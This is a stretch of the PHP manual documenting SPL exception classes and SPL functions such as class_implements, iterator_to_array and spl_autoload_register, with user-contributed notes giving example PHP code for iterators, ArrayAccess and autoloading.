There are no user contributed notes for this page.
OutOfBoundsException
OverflowException
Exceptions


The OverflowException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown when adding an element to a full container.

Class synopsis

OverflowException extends RuntimeException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
OutOfRangeException
RangeException
Exceptions


The RangeException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown to indicate range errors during program execution. Normally this means there was an arithmetic error other than under/overflow. This is the runtime version of DomainException.

Class synopsis

RangeException extends RuntimeException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
OverflowException
RuntimeException
Exceptions


The RuntimeException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if an error which can only be found on runtime occurs.

Class synopsis

RuntimeException extends Exception {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

Dawid Krysiak 03-Feb-2011 02:31
Direct known subclasses (following the java docs convention (: ):
OutOfBoundsException, OverflowException, RangeException, UnderflowException, UnexpectedValueException
RangeException
UnderflowException
Exceptions


The UnderflowException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown when performing an invalid operation on an empty container, such as removing an element.

Class synopsis

UnderflowException extends RuntimeException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
RuntimeException
UnexpectedValueException
Exceptions


The UnexpectedValueException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a value does not match with a set of values. Typically this happens when a function calls another function and expects the return value to be of a certain type or value not including arithmetic or buffer related errors.

Class synopsis

UnexpectedValueException extends RuntimeException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
UnderflowException
SPL Functions
Exceptions


SPL Functions

Table of Contents

  • class_implements — Return the interfaces which are implemented by the given class
  • class_parents — Return the parent classes of the given class
  • class_uses — Return the traits used by the given class
  • iterator_apply — Call a function for every element in an iterator
  • iterator_count — Count the elements in an iterator
  • iterator_to_array — Copy the iterator into an array
  • spl_autoload_call — Try all registered __autoload() function to load the requested class
  • spl_autoload_extensions — Register and return default file extensions for spl_autoload
  • spl_autoload_functions — Return all registered __autoload() functions
  • spl_autoload_register — Register given function as __autoload() implementation
  • spl_autoload_unregister — Unregister given function as __autoload() implementation
  • spl_autoload — Default implementation for __autoload()
  • spl_classes — Return available SPL classes
  • spl_object_hash — Return hash id for given object

User Contributed Notes

benny at whitewashing dot de 22-Jul-2008 09:56
I have to correct my implementation from before. The example before only supported correct read-access but failed on setting new values after creation of the ArrayMultiObject. Also i had to correct a bug that occured from my CopyPasteChange into the comment textarea.

This snippet now hopefully implements a fully functional multidimensional array, represented by an ArrayObject:

<?php
class ArrayMultiObject extends ArrayObject
{
    function __construct($array, $flags = 0, $iterator_class = "ArrayIterator")
    {
        $objects = array();
        foreach($array AS $key => $value) {
            if(is_array($value)) {
                $objects[$key] = new ArrayMultiObject($value, $flags, $iterator_class);
            } else {
                $objects[$key] = $value;
            }
        }

        parent::__construct($objects, $flags, $iterator_class);
    }

    public function offsetSet($name, $value)
    {
        if(is_array($value)) {
            $value = new ArrayMultiObject($value);
        }

        return parent::offsetSet($name, $value);
    }
}
?>
loaded67 at hotmail dot com 19-May-2008 01:56
For some application I needed to reverse some standard iterators.

So I mocked up this flexible function.
Enjoy

<?php
function reverse_iterator(Iterator $iterator){
    $type     = get_class($iterator);
    $array     = array_reverse(iterator_to_array($iterator), true);
    return new $type($array);
}
?>
chad 0x40 herballure 0x2e com 12-Dec-2007 06:57
My favorite recursive iteration solution:

<?php
$dir_iter = new RecursiveDirectoryIterator($root_dir, 0);
$all_iter = new RecursiveIteratorIterator($dir_iter);

foreach ($all_iter as $abs_path => $info) {
  // your code here
}
?>

You can't just loop on $dir_iter, because it will return the exact same results as the plain DirectoryIterator. It is the RecursiveIteratorIterator that iterates over the children of the RecursiveDirectoryIterator if they're present.

Passing 0 as the flags to the RecursiveDirectoryIterator means that $info will be a RecursiveDirectoryIterator object, and then you can use the getSubPath() and getSubPathname() methods to find the directory (or directory and filename, resp.) relative to $root_dir. By default, $info is a SplFileInfo object instead, which only knows its full pathname, including $root_dir. The RecursiveDirectoryIterator extends SplFileInfo, so all those methods are still available.
prometheus - csaba dot dobai at php-sparcle dot hu 13-Sep-2007 02:33
This code is an example. By using classes like this, you gives a chance to create classes which extends another class but have most of the ability what a class extends ArrayObject (like multiple inheritance):

<?php

class foo
{
    public $foo = 'foo';
} // class

class foobar extends foo implements ArrayAccess,IteratorAggregate,Countable
{
    public function offsetExists($offset)
    {
        $array = array(1, 2, 3, 4);
        return array_key_exists($offset, $array);
    }

    public function offsetGet($offset)
    {
        $array = array(1, 2, 3, 4);
        return $array[$offset];
    }

    public function offsetSet($offset, $value)
    {
        // Makes "array" to readonly
    }

    public function offsetUnset($offset)
    {
        // Makes "array" to readonly
    }

    function count()
    {
        $array = array(1, 2, 3, 4);
        return count($array);
    } // function

    function getArray()
    {
        return array(1, 2, 3, 4);
    } // function

    function getIterator()
    {
        return new ArrayIterator(array(1, 2, 3, 4));
    } // function

    function __toString()
    {
        return 'String test';
    } // function
} // class

$foobar = new foobar();
print $foobar[0].'<br/>';
print $foobar->foo.'<br/>';
print count($foobar).'<br/>';

foreach ($foobar as $k=>$v)
{
    print $k.'=>'.$v.'<br/>';
} // foreach

var_dump($foobar->getArray());

print $foobar;

/* Generated output:
1
foo
4
0=>1
1=>2
2=>3
3=>4
array
  0 => int 1
  1 => int 2
  2 => int 3
  3 => int 4
String test
*/
?>

For proper use you must be define all these methods except getArray()

Browse SPL's sources to be a very helpful think.

ps.: sry for my english
semperluc (at) yahoo._forgot_the_rest 01-Feb-2007 01:43
<?php
/*
How to store SPL Iterator results (rather than just echo-and-forget):

The library of Iterators  are object based, so you need to trick the little rascals into an array.
Here's how (two ways) ...

1. Explicit typecasts: $a[] = (array)$Obj->objMethod();

2. Array definition: $a[] = array( key => $Obj->objMethod() );

Examples: DirectoryIterator()
*/

// 1. explicity typecast object as array
foreach ( new DirectoryIterator('./') as $Item )
{
  $fname = (array)$Item->getFilename();
  $dir_listing[] = $fname[0];
}

//
echo "<pre>";
print_r($dir_listing); unset($dir_listing);
echo"</pre><hr />";
//

// or

// 2. define array as key => object->method
foreach ( new DirectoryIterator('./') as $Item )
{
  $dir_listing[] = array (
    "fname" => $Item->getFilename(),
    "path" => $Item->getPathname(),
    "size" => $Item->getSize(),
    "mtime" => $Item->getMTime()
  );
}

//
echo "<pre>";
print_r($dir_listing); unset($dir_listing);
echo"</pre>";
//
?>
kevin at oceania dot net 07-Mar-2006 12:21
The most comprehensive of all tutorials regarding SPL has been written with some help from Marcus and can be found here.
http://www.phpro.org/tutorials/Introduction-to-SPL.html

Enjoy
ville</.>witt</a>gmail</.>com 12-Jan-2006 12:37
These to funtions has excatly the same output, the only diff. is in which directory iterator they use. I hope someone out there can use it:
<?php
function listfilesin1 ($dir = ".", $depth=0) {
    echo "Dir: ".$dir."<br/>";
    foreach(new DirectoryIterator($dir) as $file) {
        if (!$file->isDot()) {
            if ($file->isDir()) {
                $newdir = $file->getPathname();
                listfilesin1($newdir, $depth+1);
            } else {
                echo "($depth)".$file->getPathname() . "<br/>";
            }
        }
    }
}
function listfilesin2 ($dir = ".", $depth=0) {
    echo "Dir: ".$dir."<br/>";
    foreach(new RecursiveDirectoryIterator($dir) as $file) {
        if ($file->hasChildren(false)) {
            $newdir = $file->key();
            listfilesin2($newdir, $depth+1);
        } else {
            echo "($depth)".$file->key() . "<br/>";
        }
    }
}
listfilesin();
?>
jce at vt dot ilw dot agrl dot ethz dot ch 10-Nov-2005 11:51
You may access the ArrayObject as an array by using explicit typecasts:

class myArrayObject extends ArrayObject
{
    function getArray()
    {
        return (array) $this;
    }
}
adove at booyahnetworks dot com 10-Oct-2005 10:45
Something to note that, at least to me, seems pretty important and is not entirely clear in the documentation is the fact that the ArrayObject class supports get/set on uni-dimensional keys and get ONLY on *passed* multi-dimensional keys/paths (see source below). If you, like me, need to support array accesss overloading for multi-dimensional data, you will need to derive from ArrayObject and overide the ArrayAccess interface methods to "walk" passed data and convert embedded arrays to objects of some kind...

Reference Bug 34816 @ http://bugs.php.net/bug.php?id=34816.

Illustration of the issue:

$a = array(
    "test" => array(
        "one" => "dunno",
        "two" => array(
            "peekabo" => "do you see me?",
            "anyone" => array("there")
            )
        )
    );
$oArray = new ArrayObject($a);
var_dump($oArray);

$oArray["three"] = "No problems here.";

echo "\n\\test\\one == " . $oArray["test"]["one"] . "\n\n";

// NEITHER of the two below will work!
$oArray["test"]["one"] = "Yes I do!";
$oArray["test"]["yes"] = array(
    "hello" => "Goodbye!"
    );

var_dump($oArray);

---
Note from the extension author:
Actually there is RecursiveArrayObject and RecursiveArrayIterator to deal with recursive structures. However this does not always solve all multidimensional issues as expected.
helly at php dot net 25-Sep-2005 02:41
There is a RecursiveFilterIterator that makes the above code much easier. And then ther is ParentIterator thta is already a filtering recursive iterator that only accepts elements that have children, with a RecursiveDirectoryIterator as inner iterator you would obviously get only the directories. Further more it ensures that it creates the correct children. All in all you simply need to do this:

$it = new RecursiveDirectoryIterator($path);
$it = new ParentIterator($it);
$it = new RecursiveIteratorIteator($it);

foreach($it as $dir  => $o) { ... }
ericjr [!_ at _!] junioronline dot us 12-Jul-2005 04:57
In addition to "mastabog at hotmail dot com"`s note about the recursive directory iterator, his method skips symlinked directories, because getChildren() doesn't return true if the directory is symlinked.

To fix this, the script should always instanciate an innerInterator when dealing with symlinked directories like so:

<?
class DirectoriesOnlyIterator extends FilterIterator implements RecursiveIterator
{
   public function __construct ($path)
   {
       parent::__construct(new RecursiveDirectoryIterator($path));
   }

   public function accept()
   {
       return $this->getInnerIterator()->hasChildren();
   }

   public function hasChildren ()
   {
       return $this->hasChildren() || $this->isLink();
   }

   public function getChildren ()
   {
       return new self($this->getInnerIterator()->getPathname());
   }
}
just_somedood at yahoo dot com 27-Jun-2005 12:11
Just a follow up on dave at tunasoft's post.  To give his example of ArrayAccess use of foreach, it's easiest to implement IteratorAggregate and use the ArrayIterator object as the iterator, as below:

<?php

class Collection implements ArrayAccess,IteratorAggregate
{
    public $objectArray = Array();
    //**these are the required iterator functions
    function offsetExists($offset)
    {
        if(isset($this->objectArray[$offset]))  return TRUE;
        else return FALSE;
    }

    function & offsetGet($offset)
    {
        if ($this->offsetExists($offset))  return $this->objectArray[$offset];
        else return (false);
    }

    function offsetSet($offset, $value)
    {
        if ($offset)  $this->objectArray[$offset] = $value;
        else  $this->objectArray[] = $value;
    }

    function offsetUnset($offset)
    {
        unset ($this->objectArray[$offset]);
    }

    function & getIterator()
    {
        return new ArrayIterator($this->objectArray);
    }
    //**end required iterator functions

    public function doSomething()
    {
        echo "I'm doing something";
    }
}

?>

I LOVE the new SPL stuff in PHP.  The above allows you to have methods inside of your array, and when treated as an array the data components are returned, such as:

<?php
class Contact
{
    protected $name = NULL;

    public function set_name($name)
    {
        $this->name = $name;
    }

    public function get_name()
    {
        return ($this->name);
    }
}

$bob = new Collection();
$bob->doSomething();
$bob[] = new Contact();
$bob[5] = new Contact();
$bob[0]->set_name("Superman");
$bob[5]->set_name("a name of a guy");

foreach ($bob as $aContact)
{
     echo $aContact->get_name() . "\r\n";
}
?>

Would work just fine.  This make code so much simpler and easy to follow, it's great.  This is exactly the direction I had hoped PHP5 was going!
zaufi at sendmail dot ru 17-Apr-2005 07:24
I'v done with my PluginsManager... Sample code to use plugins may looks lije this:
<?php
require_once('lib/plugins-manager.inc.php');

// Load and use conctere plugin module
$p = new Plugin('test.class.php');
$test = $p->class_factory('test', 1, 2);
$test->foo();

// ... oneliner ;)
$p = $pm['test.class.php']->class_factory('test', 1, 2)->foo();

// Scan for plugable modules, construct an instance and call foo()
$pm = new PluginsManager('.');
foreach ($pm as $p)
{
    $p->class_factory('test', 1, 2)->foo();
}

?>

You may download php files at my tw.o page: http://tikiwiki.org/tiki-index.php?page=UserPagezaufi (see page attachments below)
<nospam>mike[ at ]emesdee.net</nospam> 22-Nov-2004 12:47
Excelent article here by Harry Fuecks...

http://www.sitepoint.com/print/php5-standard-library

and some auto generated documentation that could be of some use here...

http://www.php.net/~helly/php/ext/spl/index.html
dave at tunasoft dot com 10-Aug-2004 06:28
There are some interfaces used here that are not documented.  It took a bit to figure this one out, but you can create your own ArrayObject type class (that is, one who's objects can be access using the array [$index] syntax).

Your class must just implement ArrayAccess.  Which has four abstract methods you must define.  For example:

<?php
    class Collection Implements ArrayAccess{

        protected $array;

        function offsetExists($offset){

            if(isset($this->array[$offset])){
                return TRUE;
            }
            else{
                return FALSE;
            }

        }

        function offsetGet($offset){

            return $this->array[$offset];

        }

        function offsetSet($offset, $value){

            if($offset){
                $this->array[$offset] = $value;
            }
            else{
                $this->array[] = $value;
            }

        }

        function offsetUnset($offset){

        }

    }
?>

You'll have to jump through a couple more hoops to get foreach and print_r and the likes to behave properly.  But with just this, you can :

<?php
      $col = new Collction();
      $col[] = new ObjectX();
      $col[] = new ObjectX(123);

      echo $col[0]->name;
      // etc.
?>
phil &ampersat; flatnet.net 17-Apr-2004 03:11
Here's a sample implementation of the RecursiveDirectoryIterator class. It prints a simple treeview of a given directory:
<?php
function recurse($it) {
   echo '<ul>';
   for( ; $it->valid(); $it->next()) {
       if($it->isDir() && !$it->isDot()) {
           printf('<li class="dir">%s</li>', $it->current());
           if($it->hasChildren()) {
               $bleh = $it->getChildren();
               echo '<ul>' . recurse($bleh) . '</ul>';
           }
       } elseif($it->isFile()) {
           echo '<li class="file">'. $it->current() . ' (' . $it->getSize(). ' Bytes)</li>';
       }
   }
   echo '</ul>';
}

recurse(new RecursiveDirectoryIterator('D:/'));
?>
UnexpectedValueException
class_implements
SPL


Return the interfaces which are implemented by the given class

SPL Functions
class_parents
SPL Functions
PHP Manual

class_implements

(PHP 5 >= 5.1.0)

class_implements — Return the interfaces which are implemented by the given class

Description

array class_implements ( mixed $class [, bool $autoload = true ] )

This function returns an array with the names of the interfaces that the given class and its parents implement.

Parameters

class

An object (class instance) or a string (class name).

autoload

Whether to allow this function to load the class automatically through the __autoload() magic method.

Return Values

An array on success, or FALSE on error.

Changelog

Version | Description
5.1.0 | Added the option to pass the class parameter as a string. Added the autoload parameter.

Examples

Example #1 class_implements() example

<?php

interface foo { }
class bar implements foo {}

print_r(class_implements(new bar));

// since PHP 5.1.0 you may also specify the parameter as a string
print_r(class_implements('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// use __autoload to load the 'not_loaded' class
print_r(class_implements('not_loaded', true));

?>

The above example will output something similar to:

Array
(
    [foo] => foo
)

Array
(
    [interface_of_not_loaded] => interface_of_not_loaded
)

See Also

  • class_parents() - Return the parent classes of the given class
  • get_declared_interfaces() - Returns an array of all declared interfaces

User Contributed Notes

paul at paulferrett dot com 30-Dec-2009 05:35
You can also check if a class implements an interface using instanceof.

E.g.
<?php
if($myObj instanceof MyInterface) {
    echo "It is! It is!";
}
?>
24-Jan-2006 09:51
You can use Reflection class instead:

<?php

$r = new ReflectionClass($class);
foreach($r->getInterfaces() as $in)
{
  $in->getName();
}
trollll23 at yahoo dot com 25-Oct-2005 12:57
Luckily, it prints out superinterfaces as well in reverse order so iterative searching works fine:

    <?php

    interface InterfaceA { }

    interface InterfaceB extends InterfaceA { }

    class MyClass implements InterfaceB { }

    print_r(class_implements(new MyClass()));

    ?>

prints out:

    Array
    (
        [InterfaceB] => InterfaceB
        [InterfaceA] => InterfaceA
    )
ludvig dot ericson at gmail dot nospam dot com 01-Aug-2005 12:41
Hint:
<?php
in_array("your-interface", class_implements($object_or_class_name));
?>
would check if 'your-interface' is ONE of the implemented interfaces.
Note that you can use something similar to be sure the class only implements that, (whyever you would want that?)
<?php
array("your-interface") == class_implements($object_or_class_name);
?>

I use the first technique to check if a module has the correct interface implemented, or else it throws an exception.
SPL Functions
class_parents
SPL Functions


Return the parent classes of the given class

class_implements
class_uses
SPL Functions
PHP Manual

class_parents

(PHP 5 >= 5.1.0)

class_parents — Return the parent classes of the given class

Description

array class_parents ( mixed $class [, bool $autoload = true ] )

This function returns an array with the name of the parent classes of the given class.

Parameters

class

An object (class instance) or a string (class name).

autoload

Whether to allow this function to load the class automatically through the __autoload() magic method.

Return Values

An array on success, or FALSE on error.

Changelog

Version | Description
5.1.0 | Added the option to pass the class parameter as a string. Added the autoload parameter.

Examples

Example #1 class_parents() example

<?php

class foo { }
class bar extends foo {}

print_r(class_parents(new bar));

// since PHP 5.1.0 you may also specify the parameter as a string
print_r(class_parents('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// use __autoload to load the 'not_loaded' class
print_r(class_parents('not_loaded', true));
?>

The above example will output something similar to:

Array
(
    [foo] => foo
)

Array
(
    [parent_of_not_loaded] => parent_of_not_loaded
)

See Also

  • class_implements() - Return the interfaces which are implemented by the given class

User Contributed Notes

There are no user contributed notes for this page.
class_implements
class_uses
SPL Functions


Return the traits used by the given class

class_parents
iterator_apply
SPL Functions
PHP Manual

class_uses

(No version information available, might only be in SVN)

class_uses — Return the traits used by the given class

Description

array class_uses ( mixed $class [, bool $autoload = true ] )

This function returns an array with the names of the traits that the given class uses. This does however not include any traits used by a parent class.

Parameters

class

An object (class instance) or a string (class name).

autoload

Whether to allow this function to load the class automatically through the __autoload() magic method.

Return Values

An array on success, or FALSE on error.

Examples

Example #1 class_uses() example

<?php

trait foo { }
class bar {
  use foo;
}

print_r(class_uses(new bar));

print_r(class_uses('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// use __autoload to load the 'not_loaded' class
print_r(class_implements('not_loaded', true));
?>

The above example will output something similar to:

Array
(
    [foo] => foo
)

Array
(
    [foo] => foo
)

Array
(
    [trait_of_not_loaded] => trait_of_not_loaded
)

See Also

  • class_parents() - Return the parent classes of the given class
  • get_declared_traits() - Returns an array of all declared traits

User Contributed Notes

There are no user contributed notes for this page.
class_parents
iterator_apply
SPL Functions


Call a function for every element in an iterator

class_uses
iterator_count
SPL Functions
PHP Manual

iterator_apply

(PHP 5 >= 5.1.0)

iterator_apply — Call a function for every element in an iterator

Description

int iterator_apply ( Traversable $iterator , callback $function [, array $args ] )

Calls a function for every element in an iterator.

Parameters

iterator

The class to iterate over.

function

The callback function to call on every element.

Note: The function must return TRUE in order to continue iterating over the iterator.

args

Arguments to pass to the callback function.

Return Values

Returns the iteration count.

Examples

Example #1 iterator_apply() example

<?php
function print_caps(Iterator $iterator) {
    echo strtoupper($iterator->current()) . "\n";
    return TRUE;
}

$it = new ArrayIterator(array("Apples", "Bananas", "Cherries"));
iterator_apply($it, "print_caps", array($it));
?>

The above example will output:

APPLES
BANANAS
CHERRIES

See Also

  • array_walk() - Apply a user function to every member of an array

User Contributed Notes

kminkler at synacor dot com 01-Jun-2009 07:02
To clarify, this method does not work exactly like array_walk(), since the current key/value of the iterator is not passed to the callback function.

This php method is equivalent to:

<?php

function iterator_apply(Traversable $iterator, $function, array $args)
{
    $count = 0;
    foreach ($iterator as $ignored)
    {
        call_user_func_array($function, $args);
        $count++;
    }

    return $count;
}

?>
class_uses
iterator_count
SPL Functions


Count the elements in an iterator

iterator_apply
iterator_to_array
SPL Functions
PHP Manual

iterator_count

(PHP 5 >= 5.1.0)

iterator_count — Count the elements in an iterator

Description

int iterator_count ( Traversable $iterator )

Count the elements in an iterator.

Parameters

iterator

The iterator being counted.

Return Values

The number of elements in iterator.

Examples

Example #1 iterator_count() example

<?php
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_count($iterator));
?>

The above example will output:

int(4)

User Contributed Notes

donovan jimenez 23-Feb-2009 09:34
Be careful of thinking of iterators and arrays as completely analogous in your PHP code. iterator_count will NOT return your iterator to its previous state after looping through it for the count. Any iterator implementation that also implements Countable::count isn't required to do so either.

This is clearest in example form:
<?php
$array = array(
    1 => 'foo',
    2 => 'bar'
);

foreach ($array as $key => $value)
{
    echo "$key: $value (", count($array), ")\n";
}

$iterator = new ArrayIterator($array);

foreach ($iterator as $key => $value)
{
    echo "$key: $value (", iterator_count($iterator), ")\n";
}
?>

outputs:
1: foo (2)
2: bar (2)
1: foo (2)

Notice that because of how iterator_count works we never see the second iterator value because the next call to then Iterator::valid() implementation returns false (its at the end of the iterator).
Micha Mech 09-May-2008 03:38
Yes, but ...

Traversable: "Abstract base interface that cannot be implemented alone. Instead it must be implemented by either IteratorAggregate or Iterator."

So You have to implement IteratorAggregate or Iterator because You can not implement Traversable.
Ard 31-Aug-2006 03:39
Note that you that the iterator parameter doesn't need to be of type Aggregate. As the spl documentation on http://www.php.net/~helly/php/ext/spl/ defines it in the following way:

    iterator_count (Traversable $it).

So you can count the number of files in a given directory quite easily:
<?php iterator_count(new DirectoryIterator('path/to/dir/'));    ?>
iterator_apply
iterator_to_array
SPL Functions


Copy the iterator into an array

iterator_count
spl_autoload_call
SPL Functions
PHP Manual

iterator_to_array

(PHP 5 >= 5.1.0)

iterator_to_array — Copy the iterator into an array

Description

array iterator_to_array ( Traversable $iterator [, bool $use_keys = true ] )

Copy the elements of an iterator into an array.

Parameters

iterator

The iterator being copied.

use_keys

Whether to use the iterator element keys as index.

Return Values

An array containing the elements of the iterator.

Changelog

Version | Description
5.2.1 | The use_keys parameter was added.

Examples

Example #1 iterator_to_array() example

<?php
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_to_array($iterator, true));
var_dump(iterator_to_array($iterator, false));
?>

The above example will output:

array(4) {
  ["recipe"]=>
  string(8) "pancakes"
  [0]=>
  string(3) "egg"
  [1]=>
  string(4) "milk"
  [2]=>
  string(5) "flour"
}
array(4) {
  [0]=>
  string(8) "pancakes"
  [1]=>
  string(3) "egg"
  [2]=>
  string(4) "milk"
  [3]=>
  string(5) "flour"
}

User Contributed Notes

jerome at yazo dot net 09-Dec-2008 10:42
Using the boolean param :

<?php

$first = new ArrayIterator( array('k1' => 'a' , 'k2' => 'b',  'k3' => 'c',  'k4' => 'd') );
$second = new ArrayIterator( array( 'k1' => 'X', 'k2' => 'Y', 'Z' ) );

$combinedIterator= new AppendIterator();
$combinedIterator->append( $first );
$combinedIterator->append( $second );

var_dump( iterator_to_array($combinedIterator, false) );

?>

will output :

array(7) (
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "X"
  [5]=>
  string(1) "Y"
  [6]=>
  string(1) "Z"
)

<?php

var_dump( iterator_to_array($combinedIterator, true) );

?>

will output (since keys would merge) :

array(5) (
  ["k1"]=>
  string(1) "X"
  ["k2"]=>
  string(1) "Y"
  ["k3"]=>
  string(1) "c"
  ["k4"]=>
  string(1) "d"
  [0]=>
  string(1) "Z"
)
chad 0x40 herballure 0x2e com 27-Mar-2008 06:23
The use_keys parameter was added in one of the 5.2.x releases; it defaults to TRUE. This matches the behavior in PHP 5.1.6, which lacks this parameter.
iterator_count
spl_autoload_call
SPL Functions


Try all registered __autoload() function to load the requested class

iterator_to_array
spl_autoload_extensions
SPL Functions
PHP Manual

spl_autoload_call

(PHP 5 >= 5.1.2)

spl_autoload_call — Try all registered __autoload() function to load the requested class

Description

void spl_autoload_call ( string $class_name )

This function can be used to manually search for a class or interface using the registered __autoload functions.

Parameters

class_name

The class name being searched.

Return Values

No value is returned.

User Contributed Notes

k dot varmark at gmail dot com 02-Feb-2011 03:40
It should be noted, that calling spl_autoload_call on a child class, and then on its parent class, throws a fatal error.

This happens because autoloading the child class also loads the class it extends. And since spl_autoload_call forcibly calls the registered autoload function(s), not taking into account whether the class exists, a fatal error is thrown:

File: child.class.php

<?php
class Child extends Parent () {
    public function __construct () {
        parent::__construct();
    }
}
?>

File: parent.class.php

<?php
class Parent () {
    public function __construct () {

    }
}
?>

File: autoload.php

<?php

/*    works fine    */
    spl_autoload_call('Child');

/*    throws: Fatal error: Cannot redeclare class Parent in /parent.class.php on line 2    */
    spl_autoload_call('Parent');

?>
iterator_to_array
spl_autoload_extensions
SPL Functions


Register and return default file extensions for spl_autoload

spl_autoload_call
spl_autoload_functions
SPL Functions
PHP Manual

spl_autoload_extensions

(PHP 5 >= 5.1.2)

spl_autoload_extensions — Register and return default file extensions for spl_autoload

Description

string spl_autoload_extensions ([ string $file_extensions ] )

This function can modify and check the file extensions that the built in __autoload() fallback function spl_autoload() will be using.

Parameters

file_extensions

When calling without an argument, it simply returns the current list of extensions each separated by comma. To modify the list of file extensions, simply invoke the functions with the new list of file extensions to use in a single string with each extensions separated by comma.

Return Values

A comma delimited list of default file extensions for spl_autoload().

User Contributed Notes

Jeremy Cook 03-Sep-2010 06:46
A quick note for anyone using this function to add their own autoload extensions. I found that if I included a space in between the different extensions (i.e. '.php, .class.php') the function would not work. To get it to work I had to remove the spaces between the extensions (ie. '.php,.class.php'). This was tested in PHP 5.3.3 on Windows and I'm using spl_autoload_register() without adding any custom autoload functions.

Hope that helps somebody.
Kerry Kobashi 11-May-2010 05:50
Extensions include the period. For example:

spl_autoload_extensions(".inc, .php, .lib, .lib.php ");
spl_autoload_call
spl_autoload_functions
SPL Functions


Return all registered __autoload() functions

spl_autoload_extensions
spl_autoload_register
SPL Functions
PHP Manual

spl_autoload_functions

(PHP 5 >= 5.1.2)

spl_autoload_functions — Return all registered __autoload() functions

Description

array spl_autoload_functions ( void )

Get all registered __autoload() functions.

Parameters

This function has no parameters.

Return Values

An array of all registered __autoload functions. If the autoload stack is not activated then the return value is FALSE. If no function is registered the return value will be an empty array.

User Contributed Notes

There are no user contributed notes for this page.
spl_autoload_extensions
spl_autoload_register
SPL Functions


Register given function as __autoload() implementation

spl_autoload_functions
spl_autoload_unregister
SPL Functions
PHP Manual

spl_autoload_register

(PHP 5 >= 5.1.2)

spl_autoload_register — Register given function as __autoload() implementation

Description

bool spl_autoload_register ([ callback $autoload_function [, bool $throw = true [, bool $prepend = false ]]] )

Register a function with the spl provided __autoload stack. If the stack is not yet activated it will be activated.

If your code has an existing __autoload function then this function must be explicitly registered on the __autoload stack. This is because spl_autoload_register() will effectively replace the engine cache for the __autoload function by either spl_autoload() or spl_autoload_call().

If there must be multiple autoload functions, spl_autoload_register() allows for this. It effectively creates a queue of autoload functions, and runs through each of them in the order they are defined. By contrast, __autoload() may only be defined once.

Parameters

autoload_function

The autoload function being registered. If no parameter is provided, then the default implementation of spl_autoload() will be registered.

throw

This parameter specifies whether spl_autoload_register() should throw exceptions when the autoload_function cannot be registered.

prepend

If true, spl_autoload_register() will prepend the autoloader on the autoload stack instead of appending it.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | Namespaces support was introduced.
5.3.0 | The prepend parameter was added.

Examples

Example #1 spl_autoload_register() example

<?php

namespace Foobar;

class Foo {
    static public function test($name) {
        print '[['. $name .']]';
    }
}

spl_autoload_register(__NAMESPACE__ .'\Foo::test'); // As of PHP 5.3.0

new InexistentClass;

?>

The above example will output something similar to:

[[Foobar\InexistentClass]]
Fatal error: Class 'Foobar\InexistentClass' not found in ...

See Also

  • __autoload() - Attempt to load undefined class

User Contributed Notes

(delphists) at (apollo) dot (lv) 01-Feb-2011 01:57
When using spl_autoload_register() with class methods, it might seem that it can use only public methods, though it can use private/protected methods as well, if registered from inside the class:
<?php

    class ClassAutoloader {
        public function __construct() {
            spl_autoload_register(array($this, 'loader'));
        }
        private function loader($className) {
            echo 'Trying to load ', $className, ' via ', __METHOD__, "()\n";
            include $className . '.php';
        }
    }

    $autoloader = new ClassAutoloader();

    $obj = new Class1();
    $obj = new Class2();

?>

Output:
--------
Trying to load Class1 via ClassAutoloader::loader()
Class1::__construct()
Trying to load Class2 via ClassAutoloader::loader()
Class2::__construct()
anthon at piwik dot org 04-Jul-2010 09:02
Think twice about throwing an exception from a registered autoloader.

If you have multiple autoloaders registered, and one (or more) throws an exception before a later autoloader loads the class, stacked exceptions are thrown (and must be caught) even though the class was loaded successfully.
sebastian dot krebs at kingcrunch dot de 24-Mar-2010 10:54
It seems, that  spl_autoload tests, if the class exists, after calling every registered loader. So it breaks the chain, if the class exists and will not call the other loaders

<?php
function a ($c) {
  echo "a\n";
  class Bla {} // Usually "include 'path/to/file.php';"
}
function b ($c) {
  echo "b\n";
}
spl_autoload_register('a');
spl_autoload_register('b');

$c = new Bla();
?>
